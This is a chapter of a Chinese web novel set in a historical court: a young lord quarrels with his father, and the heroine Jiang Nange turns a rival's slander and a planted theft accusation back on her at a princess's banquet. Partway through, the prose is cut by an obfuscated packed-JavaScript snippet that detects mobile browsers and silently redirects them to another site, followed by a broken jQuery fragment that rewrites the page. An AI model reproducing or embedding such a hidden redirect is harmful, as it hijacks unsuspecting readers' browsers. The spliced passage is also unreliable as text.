默认冷灰
24号文字
方正启体

8. 被人刁难?看我发挥

作者:云栖朝昭本书字数:K更新时间:
    陆时衍回头,来的人正是他爹,永宁候陆承渊。


    陆侯爷穿着常服站在不远处,脸色沉得像结了冰,眼神扫过管事,管事立刻腿一软,“噗通”跪了下去。


    陆时衍却半点没慌,依旧靠着廊柱,懒懒散散地站直了些,甚至还对着他爹挑了挑眉,语气里裹着点漫不经心的挑衅:“爹来了?正好,我刚还在纳闷,我这侯府世子,出门连门都出不去,是规矩改了,还是我这世子的名头,在您眼里早就不算数了?”


    陆侯爷的眉头皱得更紧,语气带着压着火气的斥责:“为父让你静养,是为了你好,你倒在这里阴阳怪气,像什么样子?”


    “为我好?”陆时衍嗤笑一声,往前迈了一步,明明是晚辈的姿态,眼神里却没半分恭敬,反而带着点凉薄的嘲讽,“您是为了我好,还是为了您府里的‘体面’?怕我出去,被人看见您有这么个‘不争气’的儿子,丢了您侯爷的脸?”


    陆侯爷被他怼的脸色铁青,闻言目光扫过府门外的方向,字字诛心:“你可知现在外面是怎么传你的吗?整日不学无术,混吃等死就算了,现在还学会纠缠那已有婚约在身的江南歌,败坏我侯府百年门风!”


    “沈砚舟现在风头正好,是当今圣上面前的红人,皇上有意要封他为翰林学士,你还多次和他作对!”


    说到这里,他怒火直冲头顶,扬手就要打下去。


    陆时衍看了也不躲闪,面无表情道:“您打。打了我,正好让全府上下都看看,侯爷是怎么对待自己这个‘碍事’的嫡子的。”


    陆侯爷的手僵在半空,最终狠狠收了回去,甩下一句“冥顽不灵”,转身就走。


    陆时衍看着他的背影,心里翻涌着的委屈和愤怒,最后都变成了一声轻得几乎听不见的嗤笑。


    “砚台,回院吧。”


    他眼底的那点散漫劲儿瞬间没了,整个人神色蔫了下去,没了方才的刺。


    侯府之内硝烟四起,而江家宅中,却是一派静谧。


    江南歌正坐在院内海棠花架下,逗弄府外跑进来的小野猫。


    春桃走进院中,身边还跟着一个人:“小姐,安宁郡主来了!”


    听见声音,江南歌怀里的小猫跳出她怀里,转眼间就没了踪影。


    江南歌站起来看向安宁郡主,她的闺中密友,如云青丝挽成垂鬟高髻,仅用一支羊脂玉簪稳稳绾住,鬓边斜嵌着细碎珍珠花钿,几缕柔发松松垂在颊边,温婉又娇俏。


    她笑着朝安宁行了个礼,模样十分搞怪:“安宁郡主好,大驾光临寒舍,寒舍真是蓬荜生辉!”


    安宁听了这话江南歌也笑了起来,伸手挽住她的胳膊,无奈道:“你啊你,几日不见倒变得伶牙利嘴起来,前两日我陪太后去寺庙祈福去了,今日才得空来看你,怎么样,现在身子好些了吗?”


    “当然好多了,你都不知道我娘现在把我看的有多紧,简直是把我当成瓷娃娃了,一点活儿都不让我干。”


    “对了,你现在在京城可是‘赫赫有名’,怎么回事?”


    提起这个,江南歌便把从听到沈砚舟的话而生病醒来后决心为自己而活,不再被世俗控制,到杏花宴风波,再到沈砚舟散播谣言的事,全和安宁说了。


    安宁听得又气又心疼,握着她的手就数落开了:“你这孩子,有事怎么总自己扛着?往后再遇到这种事,哪怕半夜砸我郡主府的门,也不许自己闷在心里!”说完又对着沈砚舟的名字狠狠啐了一口,把他从头到尾骂了个遍。


    两人相携挽着手,缓步行至府中后花园,径直往湖心亭中坐下。


    翠竹上前为二人斟茶,动作轻缓,只听得盏中茶水细响,便已退至一旁侍立。


    安宁抿了口热茶,笑着歪头道:“阿南,昨日三公主邀我赴她的春日宴,还特意让我捎上你。说是皇叔赏了她几株西域粉白野海棠,她想多请些闺中姐妹,凑个热闹,就在明日,你想去吗?”


    “西域来的海棠?”江南歌来了兴致,“可以啊,我还没见过西域的东西呢,正好去了长长见识!”


    “好啊,咱俩一块儿去刚好作个伴。我本来就觉得一个人去没意思,你要是不去,那我也不去了。”


    “没意思?怎么会!第一,看西域海棠;第二,吃点心;第三,听八卦!京里贵女的春日宴,那可是大型吃瓜现场啊!”江南歌手舞足蹈的说,浑身上下透露着兴奋。


    安宁无奈地摇了摇头,指尖点了点她的额头:“就你鬼点子多,不过你可得记着,宴会上人多眼杂,别乱说话,也别跟人起冲突。”


    “放心!”江南歌拍着胸脯保证,“我就当个透明人,吃我的点心,看我的花,绝不搞事!”


    次日,三公主的春日宴设在御花园的海棠坞里。满园的海棠开得如云似霞,尤其是那几株西域粉白野海棠,花瓣比寻常海棠更饱满,颜色是淡淡的粉,风一吹就落英缤纷,引得一众贵女围着赏玩。


    江南歌跟着安宁刚进园子,就被一阵甜香裹住,她忍不住打了个喷嚏,揉着鼻子小声吐槽:“这花也太香了,呛得我脑壳疼。”


    安宁被她逗笑,拉着她往临水的亭子里走:“先坐这儿歇会儿,等会儿点心上来了,我给你抢块你爱吃的玫瑰糕。”


    两人刚坐下,身后就传来娇滴滴的一声:“呦,这不是近日风光无限的江大小姐吗?”


    江南歌回头一看,就见说话那位女子正带着几个贵女站在不远处,眼神里带着明晃晃的轻蔑。


    江南歌扒了扒原主的记忆,哦豁,是柳如烟,吏部侍郎家的嫡女,沈砚舟的头号迷妹,天天跟原主过不去,见不得她喘气儿。


    “呦,吏部侍郎的嫡女现在这么大阵仗了吗?见到郡主还不行礼?”说完还给安宁使了个眼色,江南歌可不像原主,才不会惯着她,立马狗仗人势,搬出安宁。


    柳如烟那群人听了,只得对着安宁行了礼,气势上少了江南歌一大节。


    安宁面上一副正经模样,隔了好一会才让她们起来。


    她瞧江南歌那得势样,笑着摇了摇头。


    柳如烟气急,阴阳怪气道:“江妹妹前些日子不是生病虚弱得不行吗?今日怎么也来凑这春日宴的热闹了?也不怕把病气传给他人。”


    江南歌心里翻了个白眼,面上却笑得人畜无害:“三公主盛情邀请,我自然要来给公主撑撑场面。倒是柳姐姐,今天这一身桃粉色,衬得你气色真好,就是……”她顿了顿,故作惊讶地捂住嘴,“这颜色跟旁边的海棠花撞色了,远远一看,我还以为是哪枝海棠成精了呢!”


    柳如烟的脸瞬间涨得通红,气得手指都在抖:“你!你胡说什么!”


    “我没胡说啊。”江南歌一脸无辜地眨眨眼,转头跟安宁说,“安宁姐姐你看,是不是很像?”


    安宁憋笑憋得肩膀都在抖,只能强装镇定地点点头:“嗯,确实……挺像的。”


    柳如烟被两人一唱一和气得说不出话,什么也顾不得了,口不择言起来“江南歌你有什么好得意的?前些日子在杏花宴上那样对沈状元,还勾搭陆世子,我要是你,我都不敢出江府大门!”


    “哦,可是我就是很得意啊,怎么办呢?柳姐姐。”


    江南歌表示:这点攻击力对她来说简直就是洒洒水,不痛不痒的。


    柳如烟还想再说什么,三公主带着一群人过来了。


    江南歌一见三公主,立刻眼眶一红,慢慢行了个规规矩矩的礼,声音软得像浸了蜜,却带着点委屈的颤音:


    “公主万安。”


    三公主连忙伸手虚扶了她一把,目光扫过一旁脸色难看的柳如烟,语气带着几分温和:“快起吧,这是怎么了?方才远远就听见你们说话。”


    江南歌直接化身林妹妹,一副泫然欲泣的模样,声音细弱得几乎听不清:“回公主,是臣女的不是。早知柳姐姐来,我就不来了,惹得柳姐姐心烦。方才臣女只是随口回了句玩笑话,惹得柳姐姐不快,还在杏花宴和世子的事上,被柳姐姐好一顿教训……”


    “柳姐姐慎言。”江南歌忽然抬眼,眼眶还是红的,眼神却清明得很,“杏花宴上臣女只是正常与沈状元交谈,身子不适呕了也是没办法的事,和世子殿下更是清清白白,臣女从未主动攀附。这话要是传出去,不仅污了臣女的名声,更是污了沈状元和世子殿下的清誉,柳姐姐这话,是想害我们几个都被御史参一本吗?”


    这话一出,柳如烟瞬间哑了。她怎么也没想到,江南歌会直接把“污了皇家和状元的清誉”这顶大帽子扣下来,当着三公主的面,她哪里还敢继续说下去?


    三公主的脸色沉了下来,语气冷了几分:“柳家姑娘,宴会上出言不逊,还随意编排他人是非,你就是这么给柳家挣体面的?”


    柳如烟吓得脸色发白,连忙屈膝行礼:“臣女……臣女不是故意的,只是一时失言,还请公主恕罪。”


    “罢了。”三公主淡淡挥了挥手,语气带着几分警告,“今日是春日宴,本公主不想扫了大家的兴。但规矩就是规矩,往后再敢在宴会上搬弄是非,休怪本公主不留情面。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527284|203571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “是,臣女记住了。”柳如烟咬着唇,狼狈地退到了一边,看向江南歌的眼神里,几乎要淬出毒来。


    江南歌则立刻换上了一副温顺的模样,对着三公主露出了一个感激的笑:“多谢公主体谅。”


    三公主看着她这副“受了委屈却懂事得很”的样子,反倒多了几分怜惜,拉着她的手道:“别怕,有本公主在,没人能欺负你。走,跟我去看看西域来的海棠,我特意给你和安宁留了几枝开得最好的。”


    说着,便带着江南歌和安宁往海棠林深处走去,把柳如烟晾在了原地。


    看着三人人走远的背影,柳如烟气得浑身发抖,指甲深深掐进了掌心。她本想借着三公主的面,把江南歌的名声彻底踩烂,没想到反而被她反将一军,落了个“搬弄是非”的坏名声。


    没过多久,宴会进行到一半,忽然有个小丫鬟慌慌张张地跑了过来,在三公主耳边低声说了几句。三公主的脸色瞬间沉了下来,目光扫过众人,最后落在了江南歌身上。


    “江南歌,”她开口,声音里带着一丝不悦,“方才有人说,你偷了我放在偏厅的西域银簪,可有此事?”


    江南歌手里的玫瑰糕差点掉在地上,她一脸懵地抬起头:“啊?我偷簪子?公主,我从进了园子就没去过偏厅啊!”


    柳如烟立刻站了出来,故作委屈地说:“公主,我亲眼看见她方才鬼鬼祟祟地往偏厅去了,不是她偷的,还能是谁?”


    这话一出口,周围的贵女们立刻窃窃私语起来,看向江南歌的眼神里都带着鄙夷。


    江南歌差点被气笑了,她往前一步,直视着柳如烟:“柳姐姐,你说你亲眼看见我去了偏厅,那我问问你,我是什么时候去的?偏厅里摆了几盆花?门口守着的小丫鬟穿的什么颜色的衣服?”


    柳如烟没想到她会问得这么细,一时语塞,支支吾吾地说不出话来:“我……我哪记得那么清楚!反正我就是看见了!”


    “你根本就没看见!”江南歌冷笑一声,转头对三公主说,“公主,方才我一直跟安宁郡主在亭子里坐着,后来您来了,我就一直在您身边,半步都没离开过,郡主和您都可以为我作证。再说了,偏厅门口守着的丫鬟,我记得是穿的青色襦裙,头上别着一朵银簪,方才我路过的时候,她还跟我行礼来着,公主若是不信,可以去问问她。”


    三公主立刻让人去叫那丫鬟过来,一问之下,果然和江南歌说的一模一样,那丫鬟说,从宴会开始,就没见过江南歌进偏厅。


    真相大白,柳如烟的脸瞬间白了,站在原地手足无措。


    三公主脸色一沉,冷冷地看着她:“柳如烟,你好大的胆子,竟敢在我的宴会上造谣生事,诬陷他人!”


    柳如烟吓得“噗通”一声跪了下来,哭着说:“公主饶命!我……我不是故意的,我就是一时糊涂……”


    “一时糊涂?”江南歌抱着胳膊,语气凉凉,“柳姐姐,你这糊涂可差点毁了我的名声呢。不过没关系,你既然这么喜欢给我安罪名,不如我也给你安一个?”


    她转头看向众人,笑着说:“方才我路过假山的时候,看见柳姐姐鬼鬼祟祟地在那儿藏东西,不知道藏的是什么呢?不如我们去看看?”


    柳如烟的脸瞬间没了血色,尖叫道:“你胡说!我没有!”


    三公主立刻让人去假山那里搜,果然搜出了那支丢失的西域银簪,簪子上还挂着柳如烟的香囊。


    铁证如山,柳如烟再也抵赖不了,瘫在地上哭成了泪人。


    三公主气得脸色发青,让人把她拖了下去,转头对众人说:“今日之事,谁也不许外传,否则休怪本公主不客气!”


    众人连忙点头称是,看向江南歌的眼神里,多了几分忌惮。


    一场风波过去,江南歌重新坐回亭子里,拿起一块点心塞进嘴里,含糊不清地说:“早知道她这么不禁打,我还以为能多玩一会儿呢。”


    安宁无奈地看着她:“你啊,就不能安生点?”


    “我这叫正当防卫!”江南歌理直气壮地说,“她先惹我的,我总不能站着挨打吧?再说了,这种人,不收拾她一次,她还以为我好欺负呢!”


    安宁被她逗笑,摇了摇头:“是是是,我们阿南最厉害了。”


    很快,宴席结束,江南歌同安宁道完别,摸着圆滚滚的肚子,心满意足地跨进江府大门。


    她指尖还留着海棠花瓣的香气,心情大好,完全没料到,明日等着她的,将是一场让她连点心都咽不下的麻烦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)